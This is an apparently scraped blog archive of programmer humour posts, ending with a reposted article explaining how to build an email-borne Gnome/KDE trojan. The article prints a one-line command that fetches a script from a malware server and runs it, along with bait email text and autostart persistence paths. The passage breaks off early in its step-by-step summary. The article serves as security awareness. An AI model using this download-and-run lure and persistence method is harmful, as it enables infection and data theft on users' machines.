Proggraming Archives

Top 10 Things That Annoy Programmers


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Programmers all have their pet peeves e.g annoyances.  Whether it’s scope creep, Hungarian notation, or smelly coworkers, we’ve come to accept that there are certain nuisances that come with our line of work.  The following is a list of the top 10 things that annoy programmers.

2007-06-11-14-57-24

10.  Comments that explain the “how” but not the “why”

Introductory-level programming courses teach students to comment early and comment often.  The idea is that it’s better to have too many comments than to have too few.  Unfortunately, many programmers seem to take this as a personal challenge to comment every single line of code.  This is why you will often see something like this code snippit taken from Jeff Atwood’s post on Coding Without Comments:

r = n / 2; // Set r to n divided by 2

// Loop while r – (n/r) is greater than t

while ( abs( r – (n/r) ) > t ) {

r = 0.5 * ( r + (n/r) ); // Set r to half of r + (n/r)

}

Do you have any idea what this code does?  Me neither.  The problem is that while there are plenty of comments describing what the code is doing, there are none describing why it’s doing it.

Now, consider the same code with a different commenting methodology:

// square root of n with Newton-Raphson approximation

r = n / 2;

while ( abs( r – (n/r) ) > t ) {

r = 0.5 * ( r + (n/r) );

}

Much better!  We still might not understand exactly what’s going on here, but at least we have a starting point.

Comments are supposed to help the reader understand the code, not the syntax.  It’s a fair assumption that the reader has a basic understanding of how a for loop works; there’s no need to add comments such as “// iterate over a list of customers”.  What the reader is not going to be familiar with is why your code works and why you chose to write it the way you did.

9.  Interruptions

Very few programmers can go from 0 to code at the drop of a hat.  In general, we tend to be more akin to locomotives than ferraris; it may take us awhile to get started, but once we hit our stride we can get an impressive amount of work done.  Unfortunately, it’s very hard to get into a programming zone when your train of thought is constantly being derailed by clients, managers, and fellow programmers.

There is simply too much information we need to keep in mind while we’re working on a task to be able to drop the task, handle another issue, then pick up the task without missing a beat.  Interruptions kill our train of thought and getting it back is often a time-consuming, frustrating, and worst of all, error-prone process.

8.  Scope creep

From Wikipedia:

Scope creep (also called focus creep, requirement creep, feature creep, and sometimes kitchen sink syndrome) in project management refers to uncontrolled changes in a project’s scope. This phenomenon can occur when the scope of a project is not properly defined, documented, or controlled. It is generally considered a negative occurrence that is to be avoided.

Scope creep turns relatively simple requests into horribly complex and time consuming monsters.  It only takes a few innocent keystrokes by the requirements guy for scope creep to happen:

  • Version 1: Show a map of the location
  • Version 2: Show a 3D map of the location
  • Version 3: Show a 3D map of the location that the user can fly through

Argh!  What used to be a 30 minute task just turned into a massively complex system that could take hundreds of man hours.  Even worse, most of the time scope creep happens during development, which requires rewriting, refactoring, and sometimes throwing out code that was developed just days prior.

7.  Management that doesn’t understand programming

Management is not an easy job.  People suck; we’re fickle and fragile and we’re all out for #1.  Keeping a large group of us content and cohesive is a mountain of a task.  However, that doesn’t mean that managers should be able to get away without having some basic understanding of what their subordinates are doing.  When management cannot grasp the basic concepts of our jobs, we end up with scope creep, unrealistic deadlines, and general frustration on both sides of the table.  This is a pretty common complaint amongst programmers and the source of a lot of angst (as well as one hilarious cartoon).

Documenting our applications

Let me preface this by saying that yes, I know that there are a lot of documentation-generating applications out there, but in my experience those are usually only good for generating API documentation for other programmers to read.  If you are working with an application that normal everyday people are using, you’re going to have to write some documentation that the average layman can understand (e.g. how your application works, troubleshooting guides, etc.).

It’s not hard to see that this is something programmers dread doing.  Take a quick look at all the open-source projects out there.  What’s the one thing that all of them are constantly asking for help with?  Documentation.

I think I can safely speak on behalf of all programmers everywhere when I say, “can’t someone else do it?“.

5.  Applications without documentation

I never said that we weren’t hypocrites.  :-)   Programmers are constantly asked to incorporate 3rd party libraries and applications into their work.  In order to do that, we need documentation.  Unfortunately, as mentioned in item 6, programmers hate writing documentation.  No, the irony is not lost on us.

There is nothing more frustrating than trying to utilize a 3rd party library while having absolutely no fricken idea what half the functions in the API do.  What’s the difference between poorlyNamedFunctionA() and poorlyButSimilarlyNamedFunctionB()?  Do I need to perform a null check before accessing PropertyX?  I guess I’ll just have to find out through trial and error!  Ugh.

4.  Hardware

Any programmer who has ever been called upon to debug a strange crash on the database server or why the RAID drives aren’t working properly knows that hardware problems are a pain.  There seems to be a common misconception that since programmers work with computers, we must know how to fix them.  Granted, this may be true for some programmers, but I reckon the vast majority of us don’t know or really care about what’s going on after the code gets translated into assembly.  We just want the stuff to work like it’s supposed to so we can focus on higher level tasks.

3.  Vagueness

“The website is broken”.  “Feature X isn’t working properly”.  Vague requests are a pain to deal with.  It’s always surprising to me how exasperated non-programmers tend to get when they are asked to reproduce a problem for a programmer.  They don’t seem to understand that “it’s broken, fix it!” is not enough information for us to work off of.

Software is (for the most part) deterministic. We like it that way.  Humor us by letting us figure out which step of the process is broken instead of asking us to simply “fix it”.

2.  Other programmers


Programmers don’t always get along with other programmers.  Shocking, but true.  This could easily be its own top 10 list, so I’m just going to list some of the common traits programmers have that annoy their fellow programmers and save going into detail for a separate post:

  • Being grumpy to the point of being hostile.
  • Failing to understand that there is a time to debate system architecture and a time to get things done.
  • Inability to communicate effectively and confusing terminology.
  • Failure to pull ones own weight.
  • Being apathetic towards the code base and project

And last, but not least, the number 1 thing that annoys programmers…

1.  Their own code, 6 months later

Ever look back at some of your old code and grimace in pain?  How stupid you were!  How could you, who know so much now, have written that?  Burn it!  Burn it with fire!

Well, good news.  You’re not alone.

The truth is, the programming world is one that is constantly changing.  What we regard as a best practice today can be obsolete tomorrow.  It’s simply not possible to write perfect code because the standards upon which our code is judged is evolving every day.  It’s tough to cope with the fact that your work, as beautiful as it may be now, is probably going to be ridiculed later.  It’s frustrating because no matter how much research we do into the latest and greatest tools, designs, frameworks, and best practices, there’s always the sense that what we’re truly after is slightly out of reach.  For me, this is the most annoying thing about being a programmer.  The fragility of what we do is necessary to facilitate improvement, but I can’t help feeling like I’m one of those sand-painting monks.

Well, there you have it.  The top 10 things that annoy programmers.  Again, if you feel that I missed anything please be sure to let me know in the comments!

Rubber Duck Method of Debugging


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243
There is an entire development methodology (whose name escapes me at the
moment) that makes use of that very phenomenon.

We called it the Rubber Duck method of debugging.  It goes like this:

1) Beg, borrow, steal, buy, fabricate or otherwise obtain a rubber duck
   (bathtub variety)
2) Place rubber duck on desk and inform it you are just going to go over
   some code with it, if that's all right.
3) Explain to the duck what you code is supposed to do, and then go into
   detail and explain things line by line
4) At some point you will tell the duck what you are doing next and then
   realise that that is not in fact what you are actually doing.  The duck
   will sit there serenely, happy in the knowledge that it has helped you
   on your way.

Works every time.  Actually, if you don't have a rubber duck you could at
a pinch ask a fellow programmer or engineer to sit in.

Faces behind Popular Programming Languages


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

It’s quite fascinating to become familiar with the faces behind these programming languages, in which we spend hours learning or using it. Although the list may not be comprehensive but it contains almost all the popular programming language used in modern times. So here we go.

PHP

Rasmus Lerdorf (born November 22, 1968 in Qeqertarsuaq, Greenland) is a Danish-Greenlandic programmer and is most notable as the creator of the PHP programming language. He authored the first two versions.

Python

Guido van Rossum is a Dutch computer programmer who is best known as the author of the Python programming language. In the Python community, Van Rossum is known as a “Benevolent Dictator for Life” (BDFL), meaning that he continues to oversee the Python development process, making decisions where necessary. He is currently employed by Google, where he spends half his time working on Python development.

Ruby

Yukihiro Matsumoto (Matsumoto Yukihiro, a.k.a. Matz, born 14 April 1965) is a Japanese computer scientist and software programmer best known as the chief designer of the Ruby programming language and its reference implementation, Matz’s Ruby Interpreter (MRI). He was born in Osaka Prefecture, in western Honsh?. According to an interview conducted by Japan Inc., he was a self-taught programmer until the end of high school. He graduated with an information science degree from Tsukuba University, where he associated himself with research departments dealing with programming languages and compilers.

Ruby on Rails

(though Ruby on Rails is an open source web application framework for the Ruby programming language)

David Heinemeier Hansson is a Danish programmer and the creator of the popular Ruby on Rails web development framework and the Instiki wiki. He is also a partner at the web-based software development firm 37signals.

Perl

Larry Wall (born September 27, 1954) is a programmer and author, most widely known for his creation of the Perl programming language in 1987.

JavaScript

Brendan Eich (born 1961) is a computer programmer and creator of the JavaScript programming language. He is the Chief Technology Officer at the Mozilla Corporation.

Sources: WIKIPEDIA

Funny C Compiler errors (For real)


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

These are some of the error messages produced by Apple’s MPW C compiler. These are all real. (If you must know I was bored one afternoon and decompiled the String resources for the compiler.) The compiler is 324k in size so these are just an excerpt

"String literal too long (I let you have 512 characters, that's 3 more than ANSI said I should)"

"…And the lord said, 'lo, there shall only be case or default labels inside a switch statement'"

"a typedef name was a complete surprise to me at this point in your program"

"'Volatile' and 'Register' are not miscible"

"You can't modify a constant, float upstream, win an argument with the IRS, or satisfy this compiler"

"This struct already has a perfectly good definition"

"type in (cast) must be scalar; ANSI 3.3.4; page 39, lines 10-11 (I know you don't care, I'm just trying to annoy you)"

"Can't cast a void type to type void (because the ANSI spec. says so, that's why)"

"Huh ?"

"can't go mucking with a 'void *'"

"we already did this function"

"This label is the target of a goto from outside of the block containing this label AND this block has an automatic variable with an initializer AND your window wasn't wide enough to read this whole error message"

"Call me paranoid but finding '/*' inside this comment makes me suspicious"

"Too many errors on one line (make fewer)"

"Symbol table full – fatal heap error; please go buy a RAM upgrade from your local Apple dealer"

Programming Is Like Sex


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

because…

  • One mistake and you have to support it for the rest of your life.
  • Once you get started, you’ll only stop because you’re exhausted.
  • It often takes another experienced person to really appreciate what you’re doing.
  • Conversely, there’s some odd people who pride themselves on their lack of experience.
  • You can do it for money or for fun.
  • If you spend more time doing it than watching TV, people think you’re some kind of freak.
  • It’s not really an appropriate topic for dinner conversation.
  • There’s not enough taught about it in public school.
  • It doesn’t make any sense at all if you try to explain it in strictly clinical terms.
  • Some people are just naturally good.
  • But some people will never realize how bad they are, and you’re wasting your time trying to tell them.
  • There are a few weirdos with bizarre practices nobody really is
    comfortable with.
  • One little thing going wrong can ruin everything.
  • It’s a great way to spend a lunch break.
  • Everyone acts like they’re the first person to come up with a new technique.
  • Everyone who’s done it pokes fun at those who haven’t.
  • Beginners do a lot of clumsy fumbling about.
  • You’ll miss it if it’s been a while.
  • There’s always someone willing to write about the only right way to do things.
  • It doesn’t go so well when you’re drunk, but you’re more likely to do it.
  • Sometimes it’s fun to use expensive toys.
  • Other people just get in the way.
  • If you try to get too fancy, you could cause big problems (unless you really know what you’re doing)
  • You can do it alone, but it’s even better in a group
  • It’s great to get paid, but you’d do it for free if you had to ;)

How to write a Linux virus in 5 easy steps


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

I stumbled this article yesterday , and simply had to put it on my blog because of his awersomness. This article is originally written by foobar.

The rumor of the bullet-proof Linux architecture

There is this rumor going around that Linux is virus free. It is said that the old-fashioned multi-user heritage of Linux (and other *nix OSs) prevents malware, since users are not normally running their programs in admin mode (as root user). We are reminded that execute bits are needed to run anything – contrary to Windows – and that execute bits aren’t set on any attachments or files saved from emails or from a web-browser.

Therefore, we are told, the very architecture of Linux is so much more superior to Windows that it’s just not possible to successfully spread malware. Of course – it is acknowledged – a low-level bug, a buffer overflow or other issue is exploitable. But nevertheless, users can’t just catch a virus by email or downloading malware from the Internet, contrary to “those Windows users”. Linux will protect them from their own stupidity.

At least so the story goes. But sadly, that’s not true. I will show how it is possible in a few easy steps to write a perfectly valid email borne virus for modern desktop Linux. I will do so not because I want to put down Linux. Quite the opposite: I like and support Linux, which is all I’m running at home and at work. I’m a big supporter of free and open software as readers of this blog will know. But if there are any security risks, even in my favorite OS or distribution then they will need to be discussed. Even more important: A false sense of security is worse than a lack of security. And unsubstantiated claims of superiority don’t help in a reasonable discussion either.

Some notes before we get started

Update: There has been a lot of feedback about me using the term ‘virus’ not correctly here. That I should talk about a ‘trojan horse’ instead. There is some disagreement on whether a virus requires user interaction or not, and whether we would be talking about a worm if we are talking about malware that can spread without user interaction. There is also some disagreement on whether a malware that spreads itself via email can be considered a virus or not. There are many sources that would call such a thing a virus (an ‘email virus’) and others which would be more exacting in their definition. Let this article not be about that discussion. I’m calling this malware here a ‘virus’, even though it does require user interaction and even though I don’t provide actual code for how to spread itself (that code is only provided as very high-level pseudo-code).

I should point out: The vulnerabilities we will be taking advantage of are ‘features’ of the most popular modern Linux desktop environments, Gnome and KDE. The actual core of Linux itself does not have any of these vulnerabilities. A Linux (or any other *nix) system without running Gnome or KDE will not exhibit any of these problems, which is one of the huge advantages of properly separating the core OS from other applications such as the desktop environment.

On the flip side, if you run those desktop environments on other OSs (maybe on FreeBSD, for example) then you possibly have to deal with the same vulnerabilities. A more accurate title for this email therefore might have been: How to write a Gnome/KDE virus in 5 easy steps. But since Gnome and KDE are predominantly used under Linux, I feel that a virus based on those vulnerabilities would impact Linux users the most. Thus, the chosen title remains valid.

The text of this article here will explain to you which steps need to be taken to infect a desktop and how to install your malware and will provide background information on why those steps are necessary and why they actually work. After the longer explanation there is a more compact step-by-step summary towards the end. Even though there are some code snippets, the article will not provide the code for a ready-made piece of malware.

Several days ago I sent a message to the security teams at Ubuntu and Fedora, asking if they would like to take a look at this before I publish. The Ubuntu team hasn’t responded yet, but the Fedora team told me that this is “well-known and expected behavior” and that they have no problem with me publishing this. Well-known and expected? Really? But ok then, here we go.

Getting users to open attachments: Check out these nude shots!

If you are now looking forward to some new, fantangled exploit or some extra clever hackery, I will have to utterly disappoint you. What I’m showing here is merely an example of how the old-school social engineering “viruses” (they hardly deserve that name) which have been bothering the Windows world for such a long time can be made to run on Linux, or any other *nix OS with a modern desktop environment.

The premise of this type of ‘virus’ is simple: Get a user to run an executable attachment you sent them via email. This is completely low-tech. No black magic here. I’m not taking advantage of a new exploit in any way. To make it work in Linux I’m just using the ‘features’ of modern desktop environments in somewhat unintended ways, I guess. After all, it’s all “well-known and expected”.

Doing this under Windows is straight forward. You create your malware as an EXE file, attach it to an email which says something like: “Whoa, check out these nude shots of ….!”. The hapless user double-clicks on the attachment, which Windows – in the absence of some decent anti-virus software – will obediently execute. Before you know it the malware is installed and the system is owned. The execution of .EXE files from within email clients under Windows is of course also “well-known and expected”.

You think this is not possible under Linux? Of course it is. It just requires one or two more steps. However, there is nothing fundamental about the architecture of Linux that prevents user stupidity or ignorance, which is of course the main ingredient in any attack vector like this.

There is just one small stumbling block, which needs to be overcome. Well, two, actually.

Firstly, most email clients for Linux will not execute attachments. They might try to open them if they know the extension as an indication for a document or media type (.pdf or other documents for example). But that’s about it. So, let’s say you have written your malware as a nice Python script. In that case, your script may have the .py ending, but the email client is still unlikely to invoke the Python interpreter for you. You would have to go out of your way to configure your system to do that, and who would do something like this?

No, we need a slightly different approach. Something that always gets executed when clicked on. And here then is one more step that needs to be taken by the user, which might reduce the success rate of this attack vector a little. The user has to first save the attachment and then double click on it. Because while the email client typically cannot run an executable file, the desktop environment very well can as we will see. So, the email will have to read something like:

Whoa, check out these nude shots of…!

(if the attachment doesn’t want to open just save it to your desktop and open it…)

That would sound suspicious to most of us, but ‘most’ is not ‘all’ and user stupidity is everywhere. Besides, many users of web-based email clients are used to the save-first routine anyway.

Do not underestimate user ignorance – even on Linux

You might argue that most Linux users tend to be a bit more aware of what they are doing. They usually had to make a conscious choice about their OS and therefore tend to not be your typical non-technical user. But that is changing! Some netbooks are shipped with Linux as default. In that case users may not have consciously chosen Linux and thus can be just as blissfully ignorant as those Windows users who click on email attachments. Also, some large organizations are thinking about mass Linux desktop roll-outs. Various cities and governments around the world, for example. The users there are not technical either and are just as likely to click on attachments.

Furthermore, the trouble free times of the past have given Linux users another false sense of security. We are so used to the constant mantra of “Linux is so secure, you don’t even need anti-virus software!” that we probably really don’t have any anti-virus software to catch us when we are about to do something dumb.

Ok, back to the technicalities. Most email clients save attachments to the desktop of the user or in the user’s download directory where the user will then go look for it. So, if the user doesn’t endlessly examine the attachment but simply clicks the ’save’ button in the email client then that usually does the trick: The attachment will be right there in the face of the user. In fact, I noticed that for some reason my Evolution email client sometimes has issues opening even normal documents as attachments directly. For example, someone sends me an .odt file but Evolution sometimes doesn’t start OpenOffice for me. So, whenever this doesn’t work, I just save and open it then. I’m already trained to do this kind of stuff! I’m probably not the only one.

Getting attachments to execute

We said earlier that attachments are not normally run when they are stored as files. There is no standard file extension that indicates that a file should be executed when clicked, as there is under Windows. Instead – and this is the second big hurdle we need to overcome – for the file to be executable under Linux (or any other *nix OS), the execute flag would have to be set in the permissions of the file. This is something that Windows doesn’t have, and which is often seen as one of the reasons why infecting a Windows PC can be so easy, and why it should be close to impossible on *nix systems. When you save an email attachment under Linux, the execute flag is normally NOT set and thus, the file can’t be executed just by clicking on it. So, no luck?

Not so fast. Modern desktop environments, such as Gnome and KDE, conveniently offer a nice “workaround” called ‘launchers’. Those are small files that describe how something should be started. Just a few lines that specify the name, the icon that should be displayed and the actual command to execute. Conveniently, the syntax of those launcher files is the same for Gnome and KDE. And those launchers don’t have to have any execute permissions set on them! Desktop environments treat those files as a special case, so when you click on them Gnome or KDE will happily execute the command that was specified within the launcher description and without the need for the execute bit to be set on the launcher itself. Now we are getting somewhere!

A problem we are now facing is that the command that can be executed by a launcher is really just one line and just one command. It’s a bit tough to install malware with just a single command. Or is it? How about this here:

% bash -c “curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py”

What does this single command do? It starts bash, a command shell (part of any default install), and passes a string argument with two simple commands to it, which bash will then execute. The first command (curl) downloads a script from some malware server you have to set up and then stores the script in a place where we know that we can write to (the /tmp directory). Note that on some systems (Ubuntu, for example) you don’t have curl, but a similar command called wget. That complicates the actual command line here a little bit, but it’s not an insurmountable problem, as shown in the step-by-step guide further down. The second command (the call to the Python interpreter) then executes that freshly downloaded script (a Python script in this example). Both Python and curl (or wget) are typically part of the default install of most Linux distros.

If we put this into the Exec line of the launcher definition then a simple click on that launcher will lead to the execution of a single command, which in turn executes two commands, which then lead to the download and execution of an arbitrary complex script. All without the execute bit being set anywhere.

You don’t need to be root to 0wn someone

None of that so far required root privileges. And our script now can do whatever it wishes to do within the confines of the user account. Confined it may be, but that doesn’t prevent the possibility of significant damage to be done.

For example, it can start to pilfer through the user’s address book to harvest email addresses, send them off to our malware server, start sending spam email or it can spread itself by email. It can install a Firefox extension that captures passwords as the user types them. It may start to share the user’s desktop via VNC without the user’s knowledge. It can start a background daemon that pops up ads. Linux adware!

All of this is executed as a normal user process. Truly, on a desktop system that is normally just used by a single user owning that user account is pretty much equivalent to owning root, as far as doing damage is concerned: All the action you are interested in takes place in the user account anyway.

But maybe you really want to have root for your malware? Well, there’s a way to do that as well, but this is not guaranteed to work in all cases and is frankly not necessary to successfully infect a machine. So, to not distract from the important points of this article here, I have a discussion of that in an appendix.

Autostart after reboot

But surely, even if the user is not able to find the running process and kill it then just a simple reboot will stop that nonsense right? Surely, root privileges are needed in order to force our malware to be automatically launched in case of a system restart, right?

Not so. Users do not need root privileges in order to configure certain applications for autolaunch when they are logging into their own user sessions. That is because they are only making changes to their own session and user account, not the underlying system settings. Again, any apps started as part of the user session will only run at the user’s privilege level, but as we have seen, this is not a major problem. Lots of interesting things can be done even then.

So, how do we get ourselves to be auto started when the user logs in? There are a number of scripts that get executed when you start a shell, but the user that’s likely to click on a suspicious attachment is not likely to start a shell very often if at all. Fortunately, the modern desktop environments have their own set of commands which they are autostarting on login. In the case of Gnome, take a look at what you find in ~/.config/autostart (this directory may not exist yet, if you have not configured any apps for autostart). That’s right! More launchers! Those are run every time the user logs into Gnome. For KDE it’s even simpler: Just link to your executable from within the ~/.kde/Autostart directory.

Our malware then only needs to create an appropriate entry in those directories and it will start to run whenever the user logs in!

And that’s all there is to it. I leave the writing of the actual malware script as an exercise to the reader.

Compact step-by-step guide

Ok, so here is the summary then, which also fills in a few more specific details:

  1. Write a piece of malware of your choice. Maybe as a Python script? Good language, efficient code, pre-installed in most Linux distros and powerful standard library support (for example, libraries for sending HTTP requests and handling SMTP are part of most standard installs). Place that malware on some web-server.

